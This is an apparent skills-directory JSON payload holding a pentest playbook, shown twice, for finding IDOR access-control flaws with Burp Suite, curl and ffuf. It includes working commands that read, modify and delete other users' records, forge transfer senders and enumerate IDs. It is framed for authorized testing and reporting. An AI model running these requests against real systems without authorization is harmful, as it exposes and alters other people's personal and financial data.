[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AENVCD3WNSE0JF8Q8018X6":3,"skill-same:01M6AENVCD3WNSE0JF8Q8018X6":106},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":65,"commitSha":66,"skillDirectory":67,"forksCount":68,"repositoryHtmlUrl":69,"repositoryHomepageUrl":70,"ownerHtmlUrl":71,"ownerBlogUrl":72,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M6AENVCD3WNSE0JF8Q8018X6","exploiting-idor-vulnerabilities",null,"Identifies and exploits Insecure Direct Object Reference (IDOR) vulnerabilities by manipulating object identifiers (numeric IDs, UUIDs, slugs) in API requests and URLs, using Burp Suite proxy history, Intruder, and the Authorize extension to test object-level authorization across sessions. Use during authorized penetration tests or bug bounty work to validate that CRUD endpoints and multi-tenant applications enforce per-object access control.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35925,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-idor-vulnerabilities\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"exploiting idor vulnerabilities","vulnerabilities","idor","access-control","burpsuite","web-security","t1059","web-application-security","bug bounty","ids","owasp","testing","penetration-testing","proxy","pr","validate","sessions","web","test","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-idor-vulnerabilities\ndescription: >-\n  Identifies and exploits Insecure Direct Object Reference (IDOR) vulnerabilities\n  by manipulating object identifiers (numeric IDs, UUIDs, slugs) in API requests\n  and URLs, using Burp Suite proxy history, Intruder, and the Authorize extension\n  to test object-level authorization across sessions. Use during authorized\n  penetration tests or bug bounty work to validate that CRUD endpoints and\n  multi-tenant applications enforce per-object access control.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- idor\n- access-control\n- owasp\n- burpsuite\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Exploiting IDOR Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when testing access control on resource endpoints\n- When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies\n- For validating that object-level authorization is enforced across all CRUD operations\n- When testing multi-tenant applications where users should only access their own data\n- During bug bounty programs targeting broken access control vulnerabilities\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target application\n- **Burp Suite Professional**: With Authorize extension installed from BApp Store\n- **Two test accounts**: At least two separate user accounts with different permission levels\n- **Burp Authorize Extension**: For automated IDOR testing across sessions\n- **curl\u002Fhttpie**: For manual request crafting\n- **Browser**: Configured to proxy through Burp Suite\n\n## Workflow\n\n### Step 1: Map All Object References in the Application\n\nIdentify every endpoint that references objects by ID across the application.\n\n```bash\n# Browse the application through Burp proxy with User A\n# Review Burp Target > Site Map for endpoints with object references\n\n# Common IDOR-prone endpoints to look for:\n# GET \u002Fapi\u002Fusers\u002F{id}\n# GET \u002Fapi\u002Forders\u002F{id}\n# GET \u002Fapi\u002Finvoices\u002F{id}\u002Fdownload\n# PUT \u002Fapi\u002Fusers\u002F{id}\u002Fprofile\n# DELETE \u002Fapi\u002Fposts\u002F{id}\n# GET \u002Fapi\u002Fdocuments\u002F{id}\n# GET \u002Fapi\u002Fmessages\u002F{conversation_id}\n\n# Extract all endpoints with IDs from Burp proxy history\n# Burp > Proxy > HTTP History > Filter by target domain\n# Look for patterns: \u002Fresource\u002F123, ?id=123, {\"user_id\": 123}\n\n# Check different ID formats:\n# Numeric sequential: \u002Fusers\u002F101, \u002Fusers\u002F102\n# UUID: \u002Fusers\u002F550e8400-e29b-41d4-a716-446655440000\n# Base64 encoded: \u002Fusers\u002FMTAx (decodes to \"101\")\n# Hashed: \u002Fusers\u002F5d41402abc4b2a76b9719d911017c592\n# Slug: \u002Fusers\u002Fjohn-doe\n```\n\n### Step 2: Configure Burp Authorize Extension for Automated Testing\n\nSet up the Authorize extension to automatically replay requests with a different user's session.\n\n```\n# Install Authorize from BApp Store:\n# Burp > Extender > BApp Store > Search \"Authorize\" > Install\n\n# Configuration:\n# 1. Log in as User B (victim) in a separate browser\u002Fincognito\n# 2. Copy User B's session cookie\u002Fauthorization header\n# 3. In Authorize tab > Configuration:\n#    - Add User B's cookies in \"Replace cookies\" section\n#    - Or add User B's Authorization header in \"Replace headers\"\n\n# Example header replacement:\n# Original (User A): Authorization: Bearer \u003Ctoken_A>\n# Replace with (User B): Authorization: Bearer \u003Ctoken_B>\n\n# 4. Enable \"Intercept requests from Repeater\"\n# 5. Enable \"Intercept requests from Proxy\"\n\n# Authorize will show:\n# - Green: Properly restricted (different response for different user)\n# - Red: Potentially vulnerable (same response regardless of user)\n# - Orange: Uncertain (needs manual verification)\n```\n\n### Step 3: Test Horizontal IDOR (Same Privilege Level)\n\nAttempt to access resources belonging to another user at the same privilege level.\n\n```bash\n# Authenticate as User A (ID: 101)\nTOKEN_A=\"Bearer eyJ...\"\n\n# Get User A's own resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile\" | jq .\n\n# Attempt to access User B's resources (ID: 102) with User A's token\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\" | jq .\n\n# Compare responses - if both return 200 with data, IDOR is confirmed\n\n# Test across different resource types\nfor resource in profile orders invoices messages documents; do\n  echo \"--- Testing $resource ---\"\n  # User A's resource\n  curl -s -o \u002Fdev\u002Fnull -w \"Own: %{http_code} \" \\\n    -H \"Authorization: $TOKEN_A\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002F$resource\"\n  # User B's resource\n  curl -s -o \u002Fdev\u002Fnull -w \"Other: %{http_code}\\n\" \\\n    -H \"Authorization: $TOKEN_A\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002F$resource\"\ndone\n\n# Test with POST\u002FPUT\u002FDELETE for write-based IDOR\ncurl -s -X PUT -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\":\"Hacked\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\"\n```\n\n### Step 4: Test Vertical IDOR (Cross Privilege Level)\n\nAttempt to access admin or elevated resources with a regular user token.\n\n```bash\n# As regular user, try accessing admin user profiles\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F1\u002Fprofile\" | jq .\n\n# Try accessing admin-specific resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fadmin\u002Freports\u002F1\" | jq .\n\n# Test accessing resources across organizational boundaries\n# User in Org A trying to access Org B's resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Forganizations\u002F2\u002Fsettings\" | jq .\n\n# Test file download IDOR\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Finvoices\u002F999\u002Fdownload\" -o test.pdf\nfile test.pdf\n```\n\n### Step 5: Test IDOR in Non-Obvious Locations\n\nLook for IDOR in request bodies, headers, and indirect references.\n\n```bash\n# IDOR in request body parameters\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"sender_id\": 101, \"recipient_id\": 102, \"amount\": 1}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ftransfers\"\n\n# Change sender_id to another user\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"sender_id\": 102, \"recipient_id\": 101, \"amount\": 1000}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ftransfers\"\n\n# IDOR in file references\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ffiles?path=\u002Fusers\u002F102\u002Fdocuments\u002Fsecret.pdf\"\n\n# IDOR in GraphQL\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ user(id: 102) { email phone ssn } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\"\n\n# IDOR via parameter pollution\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile?user_id=102\"\n\n# IDOR in bulk operations\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"ids\": [101, 102, 103, 104, 105]}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002Fbulk\"\n```\n\n### Step 6: Enumerate and Escalate Impact\n\nDetermine the full scope of data exposure through IDOR.\n\n```bash\n# Enumerate valid object IDs\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002FFUZZ\u002Fprofile\" \\\n  -w \u003C(seq 1 500) \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -mc 200 -t 10 -rate 20 \\\n  -o valid-users.json -of json\n\n# Count total accessible records\njq '.results | length' valid-users.json\n\n# Check what sensitive data is exposed per record\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\" | \\\n  jq 'keys'\n# Look for: email, phone, address, ssn, payment_info, password_hash\n\n# Test IDOR on state-changing operations\n# Can User A delete User B's resources?\ncurl -s -X DELETE -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fposts\u002F1\" \\\n  -w \"%{http_code}\"\n# WARNING: Only test DELETE on known test data, never on real user data\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Horizontal IDOR** | Accessing resources belonging to another user at the same privilege level |\n| **Vertical IDOR** | Accessing resources requiring higher privileges than the current user has |\n| **Direct Object Reference** | Using a database key, file path, or identifier directly in API parameters |\n| **Indirect Object Reference** | Using a mapped reference (e.g., index) that the server resolves to the actual object |\n| **Object-Level Authorization** | Server-side check that the requesting user is authorized to access the specific object |\n| **Predictable IDs** | Sequential numeric identifiers that allow easy enumeration of valid objects |\n| **UUID Randomness** | Using UUIDv4 makes enumeration harder but does not replace authorization checks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | HTTP proxy with Intruder for ID enumeration and Repeater for manual testing |\n| **Authorize (Burp Extension)** | Automated IDOR testing by replaying requests with different user sessions |\n| **AutoRepeater (Burp Extension)** | Automatically repeats requests with modified authorization headers |\n| **Postman** | API testing with environment variables for switching between user contexts |\n| **ffuf** | Fast fuzzing of object ID parameters |\n| **OWASP ZAP** | Free proxy alternative with access control testing plugins |\n\n## Common Scenarios\n\n### Scenario 1: Invoice Download IDOR\nThe `\u002Finvoices\u002F{id}\u002Fdownload` endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details.\n\n### Scenario 2: User Profile Data Leak\nThe `\u002Fapi\u002Fusers\u002F{id}` endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID.\n\n### Scenario 3: File Access via Path Manipulation\nA document management system stores files at `\u002Ffiles\u002F{user_id}\u002F{filename}`. By changing the `user_id` path segment, users can access private documents uploaded by other users.\n\n### Scenario 4: Message Thread Hijacking\nA messaging endpoint at `\u002Fapi\u002Fconversations\u002F{id}\u002Fmessages` allows any authenticated user to read messages in any conversation by changing the conversation ID.\n\n## Output Format\n\n```\n## IDOR Vulnerability Finding\n\n**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)\n**Severity**: High (CVSS 7.5)\n**Location**: GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Authenticate as User A (ID: 101) and obtain JWT token\n2. Send GET \u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile with User A's token (returns own profile)\n3. Change the ID to 102: GET \u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile with User A's token\n4. Observe that User B's full profile is returned including PII\n\n### Affected Endpoints\n| Endpoint | Method | Impact |\n|----------|--------|--------|\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile | GET | Read PII of any user |\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Forders | GET | Read order history of any user |\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile | PUT | Modify profile of any user |\n| \u002Fapi\u002Fv1\u002Finvoices\u002F{id}\u002Fdownload | GET | Download any user's invoices |\n\n### Impact\n- 15,000+ user profiles accessible (enumerated IDs 1-15247)\n- Exposed fields: name, email, phone, address, date_of_birth\n- Write IDOR allows profile modification of other users\n- Violates GDPR data access controls\n\n### Recommendation\n1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object\n2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure\n3. Log and alert on sequential ID enumeration patterns\n4. Implement rate limiting on resource endpoints\n```\n","# Exploiting IDOR Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when testing access control on resource endpoints\n- When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies\n- For validating that object-level authorization is enforced across all CRUD operations\n- When testing multi-tenant applications where users should only access their own data\n- During bug bounty programs targeting broken access control vulnerabilities\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target application\n- **Burp Suite Professional**: With Authorize extension installed from BApp Store\n- **Two test accounts**: At least two separate user accounts with different permission levels\n- **Burp Authorize Extension**: For automated IDOR testing across sessions\n- **curl\u002Fhttpie**: For manual request crafting\n- **Browser**: Configured to proxy through Burp Suite\n\n## Workflow\n\n### Step 1: Map All Object References in the Application\n\nIdentify every endpoint that references objects by ID across the application.\n\n```bash\n# Browse the application through Burp proxy with User A\n# Review Burp Target > Site Map for endpoints with object references\n\n# Common IDOR-prone endpoints to look for:\n# GET \u002Fapi\u002Fusers\u002F{id}\n# GET \u002Fapi\u002Forders\u002F{id}\n# GET \u002Fapi\u002Finvoices\u002F{id}\u002Fdownload\n# PUT \u002Fapi\u002Fusers\u002F{id}\u002Fprofile\n# DELETE \u002Fapi\u002Fposts\u002F{id}\n# GET \u002Fapi\u002Fdocuments\u002F{id}\n# GET \u002Fapi\u002Fmessages\u002F{conversation_id}\n\n# Extract all endpoints with IDs from Burp proxy history\n# Burp > Proxy > HTTP History > Filter by target domain\n# Look for patterns: \u002Fresource\u002F123, ?id=123, {\"user_id\": 123}\n\n# Check different ID formats:\n# Numeric sequential: \u002Fusers\u002F101, \u002Fusers\u002F102\n# UUID: \u002Fusers\u002F550e8400-e29b-41d4-a716-446655440000\n# Base64 encoded: \u002Fusers\u002FMTAx (decodes to \"101\")\n# Hashed: \u002Fusers\u002F5d41402abc4b2a76b9719d911017c592\n# Slug: \u002Fusers\u002Fjohn-doe\n```\n\n### Step 2: Configure Burp Authorize Extension for Automated Testing\n\nSet up the Authorize extension to automatically replay requests with a different user's session.\n\n```\n# Install Authorize from BApp Store:\n# Burp > Extender > BApp Store > Search \"Authorize\" > Install\n\n# Configuration:\n# 1. Log in as User B (victim) in a separate browser\u002Fincognito\n# 2. Copy User B's session cookie\u002Fauthorization header\n# 3. In Authorize tab > Configuration:\n#    - Add User B's cookies in \"Replace cookies\" section\n#    - Or add User B's Authorization header in \"Replace headers\"\n\n# Example header replacement:\n# Original (User A): Authorization: Bearer \u003Ctoken_A>\n# Replace with (User B): Authorization: Bearer \u003Ctoken_B>\n\n# 4. Enable \"Intercept requests from Repeater\"\n# 5. Enable \"Intercept requests from Proxy\"\n\n# Authorize will show:\n# - Green: Properly restricted (different response for different user)\n# - Red: Potentially vulnerable (same response regardless of user)\n# - Orange: Uncertain (needs manual verification)\n```\n\n### Step 3: Test Horizontal IDOR (Same Privilege Level)\n\nAttempt to access resources belonging to another user at the same privilege level.\n\n```bash\n# Authenticate as User A (ID: 101)\nTOKEN_A=\"Bearer eyJ...\"\n\n# Get User A's own resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile\" | jq .\n\n# Attempt to access User B's resources (ID: 102) with User A's token\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\" | jq .\n\n# Compare responses - if both return 200 with data, IDOR is confirmed\n\n# Test across different resource types\nfor resource in profile orders invoices messages documents; do\n  echo \"--- Testing $resource ---\"\n  # User A's resource\n  curl -s -o \u002Fdev\u002Fnull -w \"Own: %{http_code} \" \\\n    -H \"Authorization: $TOKEN_A\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002F$resource\"\n  # User B's resource\n  curl -s -o \u002Fdev\u002Fnull -w \"Other: %{http_code}\\n\" \\\n    -H \"Authorization: $TOKEN_A\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002F$resource\"\ndone\n\n# Test with POST\u002FPUT\u002FDELETE for write-based IDOR\ncurl -s -X PUT -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\":\"Hacked\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\"\n```\n\n### Step 4: Test Vertical IDOR (Cross Privilege Level)\n\nAttempt to access admin or elevated resources with a regular user token.\n\n```bash\n# As regular user, try accessing admin user profiles\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F1\u002Fprofile\" | jq .\n\n# Try accessing admin-specific resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fadmin\u002Freports\u002F1\" | jq .\n\n# Test accessing resources across organizational boundaries\n# User in Org A trying to access Org B's resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Forganizations\u002F2\u002Fsettings\" | jq .\n\n# Test file download IDOR\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Finvoices\u002F999\u002Fdownload\" -o test.pdf\nfile test.pdf\n```\n\n### Step 5: Test IDOR in Non-Obvious Locations\n\nLook for IDOR in request bodies, headers, and indirect references.\n\n```bash\n# IDOR in request body parameters\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"sender_id\": 101, \"recipient_id\": 102, \"amount\": 1}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ftransfers\"\n\n# Change sender_id to another user\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"sender_id\": 102, \"recipient_id\": 101, \"amount\": 1000}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ftransfers\"\n\n# IDOR in file references\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ffiles?path=\u002Fusers\u002F102\u002Fdocuments\u002Fsecret.pdf\"\n\n# IDOR in GraphQL\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ user(id: 102) { email phone ssn } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\"\n\n# IDOR via parameter pollution\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile?user_id=102\"\n\n# IDOR in bulk operations\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"ids\": [101, 102, 103, 104, 105]}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002Fbulk\"\n```\n\n### Step 6: Enumerate and Escalate Impact\n\nDetermine the full scope of data exposure through IDOR.\n\n```bash\n# Enumerate valid object IDs\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002FFUZZ\u002Fprofile\" \\\n  -w \u003C(seq 1 500) \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -mc 200 -t 10 -rate 20 \\\n  -o valid-users.json -of json\n\n# Count total accessible records\njq '.results | length' valid-users.json\n\n# Check what sensitive data is exposed per record\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\" | \\\n  jq 'keys'\n# Look for: email, phone, address, ssn, payment_info, password_hash\n\n# Test IDOR on state-changing operations\n# Can User A delete User B's resources?\ncurl -s -X DELETE -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fposts\u002F1\" \\\n  -w \"%{http_code}\"\n# WARNING: Only test DELETE on known test data, never on real user data\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Horizontal IDOR** | Accessing resources belonging to another user at the same privilege level |\n| **Vertical IDOR** | Accessing resources requiring higher privileges than the current user has |\n| **Direct Object Reference** | Using a database key, file path, or identifier directly in API parameters |\n| **Indirect Object Reference** | Using a mapped reference (e.g., index) that the server resolves to the actual object |\n| **Object-Level Authorization** | Server-side check that the requesting user is authorized to access the specific object |\n| **Predictable IDs** | Sequential numeric identifiers that allow easy enumeration of valid objects |\n| **UUID Randomness** | Using UUIDv4 makes enumeration harder but does not replace authorization checks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | HTTP proxy with Intruder for ID enumeration and Repeater for manual testing |\n| **Authorize (Burp Extension)** | Automated IDOR testing by replaying requests with different user sessions |\n| **AutoRepeater (Burp Extension)** | Automatically repeats requests with modified authorization headers |\n| **Postman** | API testing with environment variables for switching between user contexts |\n| **ffuf** | Fast fuzzing of object ID parameters |\n| **OWASP ZAP** | Free proxy alternative with access control testing plugins |\n\n## Common Scenarios\n\n### Scenario 1: Invoice Download IDOR\nThe `\u002Finvoices\u002F{id}\u002Fdownload` endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details.\n\n### Scenario 2: User Profile Data Leak\nThe `\u002Fapi\u002Fusers\u002F{id}` endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID.\n\n### Scenario 3: File Access via Path Manipulation\nA document management system stores files at `\u002Ffiles\u002F{user_id}\u002F{filename}`. By changing the `user_id` path segment, users can access private documents uploaded by other users.\n\n### Scenario 4: Message Thread Hijacking\nA messaging endpoint at `\u002Fapi\u002Fconversations\u002F{id}\u002Fmessages` allows any authenticated user to read messages in any conversation by changing the conversation ID.\n\n## Output Format\n\n```\n## IDOR Vulnerability Finding\n\n**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)\n**Severity**: High (CVSS 7.5)\n**Location**: GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Authenticate as User A (ID: 101) and obtain JWT token\n2. Send GET \u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile with User A's token (returns own profile)\n3. Change the ID to 102: GET \u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile with User A's token\n4. Observe that User B's full profile is returned including PII\n\n### Affected Endpoints\n| Endpoint | Method | Impact |\n|----------|--------|--------|\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile | GET | Read PII of any user |\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Forders | GET | Read order history of any user |\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile | PUT | Modify profile of any user |\n| \u002Fapi\u002Fv1\u002Finvoices\u002F{id}\u002Fdownload | GET | Download any user's invoices |\n\n### Impact\n- 15,000+ user profiles accessible (enumerated IDs 1-15247)\n- Exposed fields: name, email, phone, address, date_of_birth\n- Write IDOR allows profile modification of other users\n- Violates GDPR data access controls\n\n### Recommendation\n1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object\n2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure\n3. Log and alert on sequential ID enumeration patterns\n4. Implement rate limiting on resource endpoints\n```\n",{"name":5,"tags":52,"author":53,"domain":46,"license":15,"version":54,"nist_csf":55,"subdomain":34,"description":7,"mitre_attack":60},[39,29,30,37,31,32],"mahipal","1.0",[56,57,58,59],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[61,62,63,64],"T1190","T1059.007","T1505.003","T1083","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-idor-vulnerabilities",4384,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-idor-vulnerabilities",{"tool":81,"command":82},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-idor-vulnerabilities",{"tool":84,"command":85},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-idor-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-idor-vulnerabilities\u002FSKILL.md",true,[89,94,100],{"path":90,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-idor-vulnerabilities\u002FLICENSE",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fapi-reference.md","REFERENCE","参考文档",1813,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-idor-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"scripts\u002Fagent.py","SCRIPT","脚本",7390,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-idor-vulnerabilities\u002Fscripts\u002Fagent.py",[107,133,157,182,208,234],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,